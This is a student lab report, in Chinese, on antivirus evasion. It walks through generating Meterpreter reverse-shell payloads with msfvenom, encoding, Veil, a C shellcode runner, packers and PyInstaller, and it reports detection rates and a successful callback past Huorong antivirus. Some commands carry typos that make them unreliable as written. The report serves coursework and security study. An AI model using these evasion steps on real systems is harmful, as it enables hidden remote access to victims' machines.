1.实验内容
1.1实验实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功。
1.2问题回答
(1)杀软是如何检测出恶意代码的?
-
基于特征码的检测:杀毒软件公司会分析已知的病毒,从中提取出一小段独一无二的“身份证”代码,称为特征码,并存入病毒库。当杀软扫描一个文件时,会将其代码与病毒库中的特征码进行比对,如果匹配,就判定为恶意代码。
-
启发式分析:这种方法不依赖精确的特征码,而是通过分析代码的行为、结构或指令是否“看起来可疑”。
-
基于行为的检测:杀软会在虚拟机或沙箱中运行可疑程序,实时监控其每一步操作(如连接恶意网站、开放异常端口等)。如果程序的行为模式与已知的恶意软件高度相似,就会被拦截。
(2)免杀是做什么?
它的核心目的是通过一系列技术手段,对恶意代码进行:“化妆”,使其能够逃过杀毒软件的检测和查杀,从而在目标计算机上隐蔽地运行。
(3)免杀的基本方法有哪些?
从本次实验体现出的方法来看,有如下几种方法
- 1.多次编码
- 2.套壳,包括加密壳与压缩壳
- 3.将恶意代码嵌入到非可执行文件,例如jar包或php文件
- 4.隐蔽通信:采用反弹式连接,让网络流量看起来像正常流量,避免被监控设备发现
2.实验过程
2.1 任务1
2.1.1测试免杀效果参考基准
使用msfvenom -p windows/meterpreter/reverse_tcp LH0ST=172.16.190.136 P0RT=6666 -f exe > met20232319.exe生成基准测试文件

使用网站virustotal进行测试,结果如下,50/72

2.1.2使用msf编码器,使用msfvenom生成exe文件
使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b *\x00' LH0ST=192.168.190.136 LP0RT=6666-fexe >met20232319_encoded.exe生成exe文件
-e x86/shikata_ga_nai指定编码方式;-b '\x00'指定要避免的坏字符

免杀测试结果为44/72,免杀效果稍微改善
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHosT=192.168.190.136 LP0RT=6666 -f exe > met20232319_10enc0ded.exe进行10次编码处理生成exe文件,-i 10表示编码10次。

测试结果为43/72,变化不大。

2.1.3使用msf编码器,使用msfvenom生成jar文件与php文件
生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.136 LPORT=6666 x>metjar20232319.jar

10次编码生成jar文件
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.136 LPORT=6666 x>metjar20232319_10encoded.jar

免杀效果检出率均为34/64,相较于测试基准,jar文件更难识别出来

生成PHP文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.135 LPORT=6666 x> metphp20232319.php

10次编码生成php文件msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.136 LPORT=6666 x> metphp20232319_10encoded.php

普通编码生成php文件免杀测试检出率,25/62,效果大幅改善

10编码生成php文件免杀测试检出率,8/61,效果进一步改善,相较于exe文件,php文件更难被检测出

2.1.4工具veil
2.1.4.1下载veil
使用命令sudo apt -y install veil下载veil
注意:veil占据空间较大,需提前预留空间。
2.1.4.2使用veil
如下图所示,选择evasion,输入use 1

输入list,查看载荷种类,选择载荷7 c/meterpreter/rev_tcp.py,输入use 7

选择完毕后设置参数
set LHOST 192.168.190.136(反弹连接,虚拟机ip)
set LPORT 6666(端口)
generate(生成)

veil免杀检出率如下,38/72,具有一定免杀率,免杀效果一般

2.1.5 C + shellcode编程
生成c语言的源代码文件的攻击载荷msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.136 LPORT=6666 -f c
-f表示指定输出格式,c表示生成c语言格式的攻击载荷

使用vi编辑源代码,添加如下代码
int main()
{int(*func)() =(int(*)())buf;func();
}

使用命令i686-w64-mingw32-g++ shellcode_c_20222408.c -o 20232319_shell_payload.exe编译生成exe文件

检出率如下,免杀效果良好

2.1.6加壳
2.1.6.1压缩壳
使用指令upx 20232319_shell_payload.exe -o 20232319_hyp.exe,给上一个步骤生成的exe文件加上压缩壳。
检出率为36/72,检出率较不加壳的情况上升,说明该壳已被广泛记录

2.1.6.2加密壳
输入如下命令,为文件套上加密壳
cp 20232319_shell_payload.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion(进入工作目录)
wine hyperion.exe -v 20232319_shell_payload.exe 20232319_hyp.exe(加密文件)

检出率如下,52/72,检出率变高,该壳的特征已被广泛记录

2.2 任务2
2.2.1 通过组合应用各种技术实现恶意代码免杀
2.2.1.1 生成攻击载荷
使用msfvenom工具来生成攻击载荷。使用x86/shikata_ga_nai编码10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.136 LPORT=6666 -f c > 20232319_shellcode.c
使用vi工具,添加代码
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232319_shellcode.c -o 20232319_shellcode.exe
2.2.1.2 套壳
使用upx加一层压缩壳。
upx 20232319_shellcode.exe -o 20232319_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20222408_shellcode_upx.exe 20222408_shellcode_upx_hyp.exe


网站检出率测试效果如下,50/72,效果较差

2.2.1.3杀毒软件测试(360与火绒)
使用加密壳与不使用加密壳作比较,此处杀毒软件使用360
(1)使用加密壳,直接被检出,未使用加密壳的exe文件未被检出(第一次查杀)

(2)使用加密壳,直接被检出,未使用加密壳的exe文件被检出(第二次查杀)

从两次的查杀结果对比来看,说明加密壳的特征已被杀毒软件广泛标记,极易被查杀,而仅使用压缩壳反而会更加安全。
同时,杀毒软件第一次未检出仅使用压缩壳的exe,存在安全风险,说明杀毒软件并不能完全规避风险
2.2.1.4另辟蹊径,使用py文件,使用
通过与其他同学的讨论得知,py文件较exe文件被检出风险更小,而生成的py文件可通过pyinstaller打包生成同样低风险的exe文件
开始实践验证,使用msfvenom生成py文件的攻击载荷
msfvenom -P python/meterpreter_reverse_tcp \LH0ST=192.168.190.136 LPoRT=6666 \-f raw -0 20232319_py_met.py
注意:此处使用python/meterpreter_reverse_tcp

将生成的py文件传输到主机中,使用pyinstaller打包为exe文件
python -m PyInstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232319_py_met.py
-w指定程序运行时的窗口模式为无控制台窗口(--windowed, --noconsole)
-F指定打包模式为单文件模式(--onefile)
python -m PyInstaller通过Python解释器直接运行PyInstaller模块,这是一种更可靠的调用方式,可以避免因环境变量配置问题导致的命令无法识别
--hidden-import=用于手动指定那些在代码中未被PyInstaller的依赖分析器自动检测到但程序运行所必需的模块。

网站检出率,13/72,效果大幅改善,杀毒软件应该也能通过

文件20232319_met_py.exe成功通过查杀(此处使用火绒)

火绒版本:6.0.7.14
2.3 任务3
2.3.1用另一电脑实测,在杀软开启的情况下,可运行并回连成功
use exploit/multi/handler(调用监听模块)
set payload python/meterpreter/reverse_tcp(python攻击载荷)
set LHOST 192.168.190.136(回连地址)
set LPORT 6666(端口)
exploit(监听)

在主机点击exe程序,成功运行!火绒版本:6.0.7.14

3.问题及解决方案
-
问题1:一开始使用的
msfvenom -P windows/meterpreter_reverse_tcp \LH0ST=192.168.190.136 LPoRT=6666 \-f raw -0 20232319_py_met.py所生成的py文件转化为exe文件后无法运行 -
问题1解决方案:改为python/meterpreter_reverse_tcp
-
问题2:pyinstaller无法直接使用
-
问题2解决方案:使用python -m PyInstaller通过Python解释器直接运行PyInstaller模块,这是一种更可靠的调用方式,可以避免因环境变量配置问题导致的命令无法识别
4.学习感悟、思考等
通过本次实验,我学会了基础的免杀技术,包括msfconsole多次编码生成文件,套壳(压缩,加密),
veil工具,以及上述技术的多种组合。结合上次实验的后门程序,我深刻了解到网络攻防技术的强大之处。
曾经在我看来难以逾越的杀毒软件,居然也是可以被攻破的。当然,如何将经免杀处理的后门程序传输到被攻击者的计算机也是一个问题。现在的邮件貌似也可以传输文件,不能随意点开来源不明的文件啊。
每次实验的重要的不止是技术的掌握,同样重要的是安全意识的增强,作为攻击者,也应时刻有被攻击者的意识。
参考资料
免杀实践与与原理